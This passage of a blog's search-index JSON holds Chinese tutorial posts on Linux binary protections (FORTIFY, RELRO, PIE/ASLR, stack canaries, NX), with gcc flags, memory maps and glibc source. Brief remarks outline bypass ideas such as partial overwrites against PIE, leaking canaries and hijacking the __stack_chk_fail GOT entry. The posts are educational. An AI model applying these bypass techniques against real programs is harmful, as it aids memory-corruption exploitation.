id=\"fortify\"\u003eFORTIFY\u003c/h1\u003e\n\u003cp\u003efortify是轻微的检查，用于检查是否存在缓冲区溢出的错误。适用于程序采用大量的字符串或者内存操作函数，如:\u003c/p\u003e\n\u003cp\u003ememcpy():\n描述：void *memcpy(void \u003cem\u003estr1, const void \u003cem\u003estr2, size_t n)\n从存储区str2复制n个字符到存储区str1\n参数：str1 \u0026ndash; 指向用于存储复制内容的目标数组，类型强制转换为 void\u003c/em\u003e 指针\nstr2 \u0026ndash; 指向要复制的数据源，类型强制转换为 void\u003c/em\u003e 指针\nn \u0026ndash; 要被复制的字节数\n返回值：该函数返回一个指向目标存储区 str1 的指针\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003ememset():\n描述：void *memset(void *str, int c, size_t n)\n复制字符 c（一个无符号字符）到参数 str 所指向的字符串的前 n 个字符\n参数：str \u0026ndash; 指向要填充的内存块\nc \u0026ndash; 要被设置的值。该值以 int 形式传递，但是函数在填充内存块时是使用该值的无符号字符形式\nn \u0026ndash; 要被设置为该值的字节数\n返回值：该值返回一个指向存储区 str 的指针\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003estrcpy():\n描述：char *strcpy(char *dest, const char *src)\n把 src 所指向的字符串复制到 dest，容易出现溢出\n参数：dest \u0026ndash; 指向用于存储复制内容的目标数组\nsrc \u0026ndash; 要复制的字符串\n返回值：该函数返回一个指向最终的目标字符串 dest 的指针\u003c/p\u003e","title":"FORTIFY保护"},{"content":"RELRO RELRO（RELocation Read Only）\n先从名字上看，翻译一下：重定位只读\n只读很好理解，重定位又是什么呢\n重定位（RELocation） 在Linux系统安全领域数据可以写的存储区就会是攻击的目标，尤其是 存储函数指针的区域 。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处。\nGCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为 只读 .\n设置符号重定向表格为只读或在程序启动时就解析并 绑定所有动态符号 ，从而减少对GOT（Global Offset Table）攻击。RELRO为” Partial RELRO”，说明我们对GOT表具有写权限。\n那么GOT表又是干什么的呢？\nGOT表，PLT表 这涉及到 动态链接 的知识了： 动态链接，是 提高程序空间效率的重要方法 。通过动态链接， 我们可以调用外部共享库中的函数，而不需要将其编译在 可执行文件 中。在运行时动态链接的过程中，PLT表和GOT表起到了至关重要的作用。\nGOT: Global Offset Table， 全局偏移表，包含所有需要动态链接的外部函数的地址（在第一次执行后） PLT: Procedure Link Table， 过程链接表 ，包含调用外部函数的 跳转指令 （跳转到GOT表中），以及 初始化外部调用指令 （用于链接器动态绑定dl_runtime_resolve） .plt 段的工作流程：\n程序启动: 当程序启动时，.plt 段中的所有函数调用都指向一个跳转指令。 第一次调用: 当程序 第一次 调用 printf 时，控制权转移到 .plt 中的相应入口点。 动态链接器解析: 动态链接器 查找 printf 的实际地址 ，并将其更新到 .plt 表中。 后续调用: 后续对 printf 的调用将 直接跳转 到解析后的地址， 避免再次调用动态链接器 。 总结：\n.plt 段是动态链接的重要组成部分，允许程序在运行时调用动态库中的函数。通过 延迟绑定机制 ，.plt 提高了程序的灵活性和可扩展性。\n.got 段的工作流程\n程序启动: 当程序启动时，.got 段中的地址可能是未定义的或指向某个默认值。 动态链接器解析: 动态链接器在程序加载时会 解析 .got 中的地址 ，将其更新为实际的全局变量和函数地址。 运行时访问: 程序在运行时通过 .got 中的地址访问 全局变量和函数 ，确保正确性。 总结：\n.got 段是动态链接的重要组成部分，允许程序在运行时访问动态库中的全局变量和函数。通过动态链接器的 重定位机制，.got 提高了程序的灵活性和可扩展性。\n有需要了解更多的师傅可以去这里看看：https://blog.csdn.net/Zheng__Huang/article/details/119484353\n具体细节 gcc编译选项：\ngcc -o test test.c\t// 默认情况下，是Partial RELRO gcc -z norelro -o test test.c\t// 关闭，即No RELRO gcc -z lazy -o test test.c\t// 部分开启，即Partial RELRO gcc -z now -o test test.c\t// 全部开启，即Full -z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 接下来直接在IDA和终端看了，也可以使用 pwndbg 中使用 vmmap 查看程序的映射，这种方法可以在文章“二进制安全-NX保护”中看到\n┌──(root㉿Chenjx12)-[/home/chenj1x12/Desktop] └─# gcc test.c -z -norelro -o test1 ┌──(root㉿Chenjx12)-[/home/chenjx12/Desktop] └─# gcc test.c -z -lazy -o test2 ┌──(root㉿Chenjx12)-[/home/chenjx12/Desktop] └─# gcc test.c -z -now -o test3 ┌──(root㉿Chenjx12)-[/home/chenjx12/Desktop] └─# ./test1 \u0026amp; ./test2 \u0026amp; ./test3 \u0026amp; [1] 7675 [2] 7676 [3] 7677 [1] + suspended (tty input) ./test1 [2] + suspended (tty input) ./test2 [3] + suspended (tty input) ./test3 checksec一下：\n这是test1的，未开启RELRO保护的：\n这是test2的，开启了部分RELRO保护：\n这是test3的，开启的RELRO保护：\n接着在终端查看：\n┌──(root㉿Chenjx12)-[/home/chenjx12/Desktop] └─# cat /proc/7675/maps 555c43da6000-555c43da7000 r--p 00000000 08:01 926495 /home/chenjx12/Desktop/test1 555c43da7000-555c43da8000 r-xp 00001000 08:01 926495 /home/chenjx12/Desktop/test1 555c43da8000-555c43da9000 r--p 00002000 08:01 926495 /home/chenjx12/Desktop/test1 555c43da9000-555c43daa000 rw-p 00002000 08:01 926495 /home/chenjx12/Desktop/test1 ┌──(root㉿Chenjx12)-[/home/chenjx12/Desktop] └─# cat /proc/7676/maps 559d6d66c000-559d6d66d000 r--p 00000000 08:01 926498 /home/chenjx12/Desktop/test2 559d6d66d000-559d6d66e000 r-xp 00001000 08:01 926498 /home/chenjx12/Desktop/test2 559d6d66e000-559d6d66f000 r--p 00002000 08:01 926498 /home/chenjx12/Desktop/test2 559d6d66f000-559d6d670000 r--p 00002000 08:01 926498 /home/chenjx12/Desktop/test2 559d6d670000-559d6d671000 rw-p 00003000 08:01 926498 /home/chenjx12/Desktop/test2 ┌──(root㉿Chenjx12)-[/home/chenjx12/Desktop] └─# cat /proc/7677/maps 556c31d1a000-556c31d1b000 r--p 00000000 08:01 926504 /home/chenjx12/Desktop/test3 556c31d1b000-556c31d1c000 r-xp 00001000 08:01 926504 /home/chenjx12/Desktop/test3 556c31d1c000-556c31d1d000 r--p 00002000 08:01 926504 /home/chenjx12/Desktop/test3 556c31d1d000-556c31d1e000 r--p 00002000 08:01 926504 /home/chenjx12/Desktop/test3 556c31d1e000-556c31d1f000 rw-p 00003000 08:01 926504 /home/chenjx12/Desktop/test3 可以发现很明显的，test1（未开启relro的）只有四行，而test2和test3都有五行\n原先（test1中）的最后一行，也就是权限为 rw- 的段，占 0x555c43daa000 - 0x555c43da9000 = 0x2000\n（注意，都是十六进制的表示哦，0x2000代表着两个内存页）\n因为加上relro编译选项以后，数据segemnt加载到内存分裂成了两个vma：\n包含.got的vma，在动态链接完成后就被保护起来了，属性设置为r--\n包含.data和.bss的vma，在运行时还需要读写访问的，属性设置为rw-\n总而言之就是：\n动态链接使程序的体积大大减小，出现了 动态链接器 、 .plt和.got段 ，为了避免 .got段被修改（也就是 重定向攻击 ），RELRO就将.got段修改为 只读 ，以 确保函数的正确调用 。\n","permalink":"https://chenjx12.github.io/posts/relro/","summary":"\u003ch1 id=\"relro\"\u003eRELRO\u003c/h1\u003e\n\u003cp\u003eRELRO（RELocation Read Only）\u003c/p\u003e\n\u003cp\u003e先从名字上看，翻译一下：重定位只读\u003c/p\u003e\n\u003cp\u003e只读很好理解，重定位又是什么呢\u003c/p\u003e\n\u003ch2 id=\"重定位relocation\"\u003e重定位（RELocation）\u003c/h2\u003e\n\u003cp\u003e在Linux系统安全领域数据可以写的存储区就会是攻击的目标，尤其是 \u003ccode\u003e存储函数指针的区域\u003c/code\u003e 。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处。\u003c/p\u003e\n\u003cp\u003eGCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为 \u003cem\u003e只读\u003c/em\u003e .\u003c/p\u003e\n\u003cp\u003e设置符号重定向表格为只读或在程序启动时就解析并 \u003cem\u003e绑定所有动态符号\u003c/em\u003e ，从而减少对GOT（Global Offset Table）攻击。RELRO为” Partial RELRO”，说明我们对GOT表具有写权限。\u003c/p\u003e\n\u003cp\u003e那么GOT表又是干什么的呢？\u003c/p\u003e\n\u003ch2 id=\"got表plt表\"\u003eGOT表，PLT表\u003c/h2\u003e\n\u003cp\u003e这涉及到 \u003ccode\u003e动态链接\u003c/code\u003e 的知识了： \u003c/p\u003e\n\u003cp\u003e动态链接，是 \u003cem\u003e提高程序空间效率的重要方法\u003c/em\u003e 。通过动态链接， 我们可以调用外部共享库中的函数，而不需要将其编译在 \u003cem\u003e\u003c!-- raw HTML omitted --\u003e可执行文件\u003c!-- raw HTML omitted --\u003e\u003c/em\u003e 中。在运行时动态链接的过程中，PLT表和GOT表起到了至关重要的作用。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eGOT: Global Offset Table， \u003c!-- raw HTML omitted --\u003e全局偏移表\u003c!-- raw HTML omitted --\u003e，包含所有需要动态链接的外部函数的地址（在第一次执行后）\u003c/li\u003e\n\u003cli\u003ePLT: Procedure Link Table，  \u003c!-- raw HTML omitted --\u003e过程链接表\u003c!-- raw HTML omitted --\u003e ，包含调用外部函数的 \u003ccode\u003e跳转指令\u003c/code\u003e （跳转到GOT表中），以及 \u003cem\u003e初始化外部调用指令\u003c/em\u003e （用于链接器动态绑定dl_runtime_resolve）\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e.plt 段的工作流程：\u003c/p\u003e","title":"RELRO保护"},{"content":"PIE/ASLR 区别 ASLR 是什么？ ASLR 是 Linux操作系统 的功能选项，作用于程序（ELF）装入内存运行时。是一种 针对缓冲区溢出的安全保护技术，通过对加载地址的随机化 ，防止攻击者直接定位攻击代码位置，到达 阻止溢出攻击 的一种技术。\n开启、关闭ASLR 查看当前系统ASLR的打开情况：\nsudo cat /proc/sys/kernel/randomize_va_space ASLR 有三个安全等级：\n0： ASLR 关闭 1：随机化栈基地址（stack）、共享库（.so\\libraries）、mmap 基地址 2：在1基础上，增加随机化堆基地址（chunk）\nPIE 是什么？ PIE 是 gcc 编译器 的功能选项，作用于程序（ELF）编译过程中。是一个针对代码段（ .text ）、数据段（ .data ）、未初始化全局变量段（ .bss ）等固定地址的一个防护技术，如果程序开启了PIE保护的话，在_每次加载程序时都变换加载地址_，从而不能通过 ROPgadget 等一些工具来帮助解题。\n开启 PIE： 在使用 gcc 编译时加入参数-fPIE。\ngcc -o test test.c // 默认情况下，不开启PIE gcc -fpie -pie -o test test.c // 开启PIE，此时强度为1 gcc -fPIE -pie -o test test.c // 开启PIE，此时为最高强度2 gcc -fpic -o test test.c // 开启PIC，此时强度为1，不会开启PIE gcc -fPIC -o test test.c // 开启PIC，此时为最高强度2，不会开启PIE -no-pie / -pie (关闭 / 开启) PIE 开启后会随机化代码段（ .text ）、初始化数据段（ .data ）、未初始化数据段（ .bss ）的加载地址。\ngcc中的-fPIC选项是针对某些特殊机型做了特殊处理，比如适合动态链接并能避免超出GOT大小限制之类的错误。\n联系 这段偏理论，不关心的师傅可以直接跳过到下一部分\n上述有一个明显的 缺陷 ，那就是PIE只是在编译的过程中赋予了ELF加载到内存时其加载基址随机化的功能，也就是说PIE编译出来的ELF如果_在ASLR=0的情况下，ELF的加载基址也是不会变的_。\n为什么呢，因为一个是能力赋予，一个是真正使用能力。\n这个是有历史原因的，ASLR刚开始设计的时候是作为操作系统功能提供的， 只考虑了当时技术背景 下executable加载后stack、heap、libraries的随机化功能，因而有多种绕过方式，这一时期的ASLR的定义也就成了“对stack、heap、libraries的随机化”。后来设计者就考虑executable的加载基址随机化以使得bypass失效，然而这一点在技术细节上 需要编译器来实现 ，因此gcc开始支持PIE选项，使得编译出来的executable像是一个 特殊的so ，可以被操作系统加载到随机化的内存地址（只是可以），因而到这一阶段你会发现ASLR的定义变成了“对stack、heap、libraries、executable base的随机化”。然而你要将PIE出来的executable理解为特殊的so的话，原来的定义还是可以自圆其说的。\n所以这是ASLR 的三个级别变成了 ：0， 不开启任何随机化；1， 开启stack、libraries [、executable base（special libraries -^-） if PIE is enabled while compiling] 的随机化；2，开启heap随机化。\n因而，我们会发现PIE编译出来的executable如果ASLR=0的话，基址也是不会变的（有能力但没使用），如果ASLR=1的话，即使按照ASLR定义这个级别似乎不会对heap基址随机化，但是__由于executable的基址已经随机化了，所以heap的基址自然也就被随机化了_。有条件的师傅不妨自己尝试一下。\n具体细节 关于程序是否在编译时开启了PIE，可以直接使用 checksec ，工具直接查看（简单粗暴的）；\n还有一种方法是把文件丢 IDA 里（或者直接使用 objdump ），看它的地址（实际上是偏移）；\n因为存在一个小小的特性：\npartial write\npartial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。由于内存的页载入机制，PIE的随机化只能影响到单个内存页。通常来说，一个内存页大小为0x1000，这就意味着不管地址怎么变，某条指令的后12位，3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入，每字节8位)就可以 快速爆破或者直接劫持EIP 。\n简单来说就是不管程序加载基址怎么变化，偏移量和真实地址的 最后三位 都是一样的。\n并且呢，由于PIE只是改变了程序运行时加载的基址，使用的_仍然是一块连续的内存空间_。\n这是什么意思呢？\n看看这个公式：\npie_base = 泄露的地址 - 泄露地址的偏移量\n也就是说，如果可以泄露出程序运行时的某个地址，那么用它减去对应的偏移，得到PIE的基地址，就能通过它反过来算所有的地址。\n看看例子 先简单的看看我们熟知的/bin/bash，在Linux系统上使用 ldd 可以查看对应文件的链接情况：\n可以看到 每次加载的基址都在变化 。\n然后我们载编译两个ELF文件，用 IDA 打开：选择 options -\u0026gt; general -\u0026gt;勾上 auto comments 和 Line profixes(graph)\n接着就可以看到函数的地址了，没开启PIE的情况下是这样的：\n因为是64位机子，程序的起始地址一般默认在0x0000000000400000。\n而在32位操作系统中，程序的起始地址并没有一个固定的默认值，它取决于系统的内存布局和程序的链接方式。然而，出于历史原因和约定，许多32位程序可能会选择在0x8048000这个地址附近作为它们的加载基址；\n这个地址是Linux系统中常见的默认加载地址，它为程序的.text段提供了一个足够高的基址，以便为栈留下足够的空间，同时避免与内核空间或其他程序发生冲突。但是，这只是一个惯例，并不是硬性规定。\n接下来我们看看开启了pie保护的情况：\n很明显啊，这个看上去就不太像正常的地址，因为它只是一个相对于pie_base的一个 偏移 ；\n但是也是能看出来它_仍然是连续的_，不会出现东边一块西边一块的情况\n（当然，这种连续仅限于同一个代码段中，比如现在图片上的 .text）。\n至于为什么一直在强调 连续 呢，学过计算机组成原理或者对程序在内存中装载的师傅应该有所了解：\n程序单独占用进程中的虚拟内存空间，逆向出来的地址是逻辑地址，而不是物理地址。\n几个相关的点：\n虚拟地址空间：在IDA Pro中，看到的是程序在虚拟地址空间中的布局。这个空间在程序被加载到内存之前是连续的，并且与实际的物理内存布局 无关 。 重定位信息：PIE保护的程序包含了重定位信息，这些信息告诉操作系统如何在程序加载时将虚拟地址 映射 到物理地址。在反汇编视图中，这些重定位信息通常不会直接显示。 地址无关性：IDA Pro和其他反汇编工具解析的是程序的二进制文件，它们不关心程序在运行时实际加载到哪个物理地址。因此，它们显示的是程序在虚拟地址空间中的 逻辑布局 ，这通常是连续的。 运行时地址：只有在程序实际运行时，操作系统才会根据PIE和ASLR（Address Space Layout Randomization）的设置来确定程序各部分的实际物理地址。这些地址在每次程序运行时都可能不同。 ","permalink":"https://chenjx12.github.io/posts/pieaslr/","summary":"\u003ch1 id=\"pieaslr\"\u003ePIE/ASLR\u003c/h1\u003e\n\u003ch2 id=\"区别\"\u003e区别\u003c/h2\u003e\n\u003ch3 id=\"aslr-是什么\"\u003e\u003cstrong\u003eASLR 是什么？\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003eASLR 是  \u003ccode\u003eLinux操作系统\u003c/code\u003e 的功能选项，作用于程序（ELF）装入内存运行时。是一种 \u003cem\u003e\u003c!-- raw HTML omitted --\u003e针对缓冲区溢出的安全保护技术\u003c!-- raw HTML omitted --\u003e\u003c/em\u003e，通过对加载地址的\u003ccode\u003e随机化\u003c/code\u003e  ，防止攻击者直接定位攻击代码位置，到达 \u003ccode\u003e阻止溢出攻击\u003c/code\u003e 的一种技术。\u003c/p\u003e\n\u003cp\u003e开启、关闭ASLR\n查看当前系统ASLR的打开情况：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo cat /proc/sys/kernel/randomize_va_space\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eASLR 有三个安全等级：\u003c/p\u003e\n\u003cp\u003e0： ASLR 关闭\n1：随机化栈基地址（stack）、共享库（.so\\libraries）、mmap 基地址\n2：在1基础上，增加随机化堆基地址（chunk）\u003c/p\u003e\n\u003ch3 id=\"pie-是什么\"\u003e\u003cstrong\u003ePIE 是什么？\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003ePIE 是  \u003ccode\u003egcc 编译器\u003c/code\u003e 的功能选项，作用于程序（ELF）编译过程中。是一个针对代码段（ .text ）、数据段（ .data ）、未初始化全局变量段（ .bss ）等固定地址的一个防护技术，如果程序开启了PIE保护的话，在_\u003c!-- raw HTML omitted --\u003e每次加载程序时都变换加载地址\u003c!-- raw HTML omitted --\u003e_，从而不能通过 ROPgadget 等一些工具来帮助解题。\u003c/p\u003e\n\u003cp\u003e开启 PIE：\n在使用 gcc 编译时加入参数-fPIE。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -o test test.c // 默认情况下，不开启PIE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -fpie -pie -o test test.c // 开启PIE，此时强度为1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -fPIE -pie -o test test.c // 开启PIE，此时为最高强度2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -fpic -o test test.c // 开启PIC，此时强度为1，不会开启PIE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -fPIC -o test test.c // 开启PIC，此时为最高强度2，不会开启PIE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-no-pie / -pie \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e关闭 / 开启\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePIE 开启后会随机化代码段（ .text ）、初始化数据段（ .data ）、未初始化数据段（ .bss ）的加载地址。\u003c/p\u003e","title":"PIE/ASLR保护机制"},{"content":"Canary Canary（金丝雀）\n保护原理 Canary 的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。\nCanary保护的原理是在栈上 rbp 附近放置一个随机数，等到函数执行结束，就会 检测 该位置存放的随机数是否被改动（覆盖），如果是说明发生了栈溢出，可能导致rbp，ret address 被修改导致异常行为，会中止程序的运行。\nHigh Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp =\u0026gt; | old ebp | +-----------------+ rbp-8 =\u0026gt; | canary value | +-----------------+ | local variables | Low Address | | 具体细节 如何开启/关闭canary保护：\ngcc -o test test.c // 默认情况下，不开启Canary保护 gcc -fno-stack-protector -o test test.c //禁用栈保护 gcc -fstack-protector -o test test.c //启用堆栈保护，不过只为局部变量中含有 char 数组的函数插入保护代码 gcc -fstack-protector-all -o test test.c //启用堆栈保护，为所有函数插入保护代码 -fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 编译一个例子来看看：\n用IDA来看看吧，省点事，直接看有canary保护的那个：\n在程序启用canary保护编译后，在函数的开头部分就会有一段汇编：\n//AT\u0026amp;T风格 var_8 = qword ptr -8 mov rax, fs:28h mov [rbp+var_8], rax //Intel风格 mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax 它的作用是取出fs寄存器0x28处的值，并将其存放在栈上%rbp-0x8的位置；\n//AT\u0026amp;T风格 mov rdx, [rbp+var_8] sub rdx, fs:28h jz short locret_11BF call ___stack_chk_fail locret_11BF: leave retn //Intel风格 mov rdx, qword ptr [rbp + var_8] sub rdx, qword ptr fs:[28h] test rdx, rdx jz short locret_11BF call ___stack_chk_fail locret_11BF: leave retn 并且函数返回之前，会将栈上该位置的值取出，再与 fs:0x28 的值进行异或操作；\n如果异或的结果为 0，说明 Canary 未被修改，函数会正常返回，这个操作即为检测是否发生栈溢出。\n如果此时canary已经被非法修改了，则程序执行流会走向___stack_chk_fail这个函数；\n__stack_chk_fail 也是位于 glibc 中的函数，默认情况下经过 ELF 的延迟绑定，具体如下：\neglibc-2.19/debug/stack_chk_fail.c void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail (\u0026#34;stack smashing detected\u0026#34;); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, \u0026#34;*** %s ***: %s terminated\\n\u0026#34;, msg, __libc_argv[0] ?: \u0026#34;\u0026lt;unknown\u0026gt;\u0026#34;); } 这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容 (参见 stack smash)；\n进一步，对于 Linux 来说，fs 寄存器实际指向的是当前栈的 TLS 结构，fs:0x28 指向的正是 stack_guard：\ntypedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ... } tcbhead_t; 如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制； 事实上，TLS 中的值由函数 security_init 进行初始化：\nstatic void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL; } //THREAD_SET_STACK_GUARD宏用于设置TLS #define THREAD_SET_STACK_GUARD(value) \\ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value) 并且更有意思的一点是canary总是 以字节‘\\x00’做结尾 ；\n这么设计的本意是为了保证 Canary 可以 截断字符串，从而防止连带输出 ，可以看看gdb的结果：\n可以看到，这里已经把canary的值插入到栈上了，并且是低位\\x00；\n但是存在溢出的时候也可以**控制覆盖 Canary 的低字节**，来打印出剩余的 Canary 部分。\ncanary是很好的防溢出手段，它几乎不影响程序的正常运行；并且不管是实现还是设计思想都比较简单高效，就是插入一个值在 stack overflow 发生的高危区域的尾部；当函数返回之时检测 Canary 的值是否经过了改变，以此来判断 stack/buffer overflow 是否发生。\n但是这并不意味着canary可以阻止所有的栈溢出利用。\nCanary 与 Windows 下的 GS 保护（汇编的时候会看到gs:0x14）都是缓解栈溢出攻击的有效手段，它的出现很大程度上增加了栈溢出攻击的难度，并且由于它 几乎并不消耗系统资源 ，所以现在成了 Linux 下保护机制的标配。\n","permalink":"https://chenjx12.github.io/posts/canary/","summary":"\u003ch1 id=\"canary\"\u003eCanary\u003c/h1\u003e\n\u003cp\u003eCanary（金丝雀）\u003c/p\u003e\n\u003ch2 id=\"保护原理\"\u003e保护原理\u003c/h2\u003e\n\u003cp\u003eCanary 的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。\u003c/p\u003e\n\u003cp\u003eCanary保护的原理是在栈上 \u003ccode\u003erbp\u003c/code\u003e 附近放置一个随机数，等到函数执行结束，就会 \u003c!-- raw HTML omitted --\u003e\u003cstrong\u003e检测\u003c/strong\u003e\u003c!-- raw HTML omitted --\u003e 该位置存放的随机数是否被改动（覆盖），如果是说明发生了栈溢出，可能导致\u003ccode\u003erbp\u003c/code\u003e，\u003ccode\u003eret address\u003c/code\u003e 被修改导致异常行为，会中止程序的运行。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e   High Address |                 |\n                +-----------------+\n                | args            |\n                +-----------------+\n                | return address  |\n                +-----------------+\n        rbp =\u0026gt;  | old ebp         |\n                +-----------------+\n      rbp-8 =\u0026gt;  | canary value    |\n                +-----------------+\n                | local variables |\n    Low Address |                 |\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"具体细节\"\u003e具体细节\u003c/h2\u003e\n\u003cp\u003e如何开启/关闭canary保护：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -o test test.c // 默认情况下，不开启Canary保护\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -fno-stack-protector -o test test.c //禁用栈保护\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -fstack-protector -o test test.c //启用堆栈保护，不过只为局部变量中含有 char 数组的函数插入保护代码\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -fstack-protector-all -o test test.c //启用堆栈保护，为所有函数插入保护代码\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-fno-stack-protector /-fstack-protector / -fstack-protector-all \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e关闭 / 开启 / 全开启\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e编译一个例子来看看：\u003c/p\u003e","title":"Canary保护"},{"content":"NX（DEP） 全名为No-eXecute（不可执行）\n开启/关闭方法：\ngcc -o test test.c // 默认情况下，开启NX保护 gcc -z execstack -o test1 test.c // 禁用NX保护 gcc -z noexecstack -o test2 test.c // 开启NX保护 -z execstack / -z noexecstack (关闭 / 开启) 看看例子 现在用gdb调试一下看看\n这个是默认开启了NX保护的，可以通过 vmmap 指令，看到栈的部分权限是没有x（execute）执行权限的\n而这里呢，test1是禁用了NX保护的，栈区的权限多了一个X\n具体细节 ​\t了解**冯·诺依曼结构的师傅应该知道，它将程序指令存储器和数据存储器合并在一起，使数据和程序以同等地位存放在内存当中**。\n​\tNX是**数据与程序的分水岭，栈溢出核心思想是通过局部变量覆盖函数返回地址来修改EIP和注入 Shellcode，在函数返回时跳到Shellcode去执行。要防止这种攻击，最有效的办法就是让攻击者注入的Shellcode无法执行，这就是数据执行保护（Data Execution Prevention， DEP）安全机制的初衷。NX策略是使栈区域的代码无法执行**。\n​\t该保护机制用于防范：栈溢出 + shellcode\n​\t正常在栈溢出时通过跳转指令跳转至shellcode，但是NX开启后CPU会对数据区域进行检查，当发现正常程序不执行，并跳转至其他地址后会抛出异常，接下来不会继续执行shellcode，而是去转入异常处理，处理后会禁止shellcode继续执行。\n","permalink":"https://chenjx12.github.io/posts/nxdep/","summary":"\u003ch1 id=\"nxdep\"\u003eNX（DEP）\u003c/h1\u003e\n\u003cp\u003e全名为No-eXecute（不可执行）\u003c/p\u003e\n\u003cp\u003e开启/关闭方法：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -o test test.c // 默认情况下，开启NX保护\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -z execstack -o test1 test.c // 禁用NX保护\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc -z noexecstack -o test2 test.c // 开启NX保护\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-z execstack / -z noexecstack \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e关闭 / 开启\u003cspan 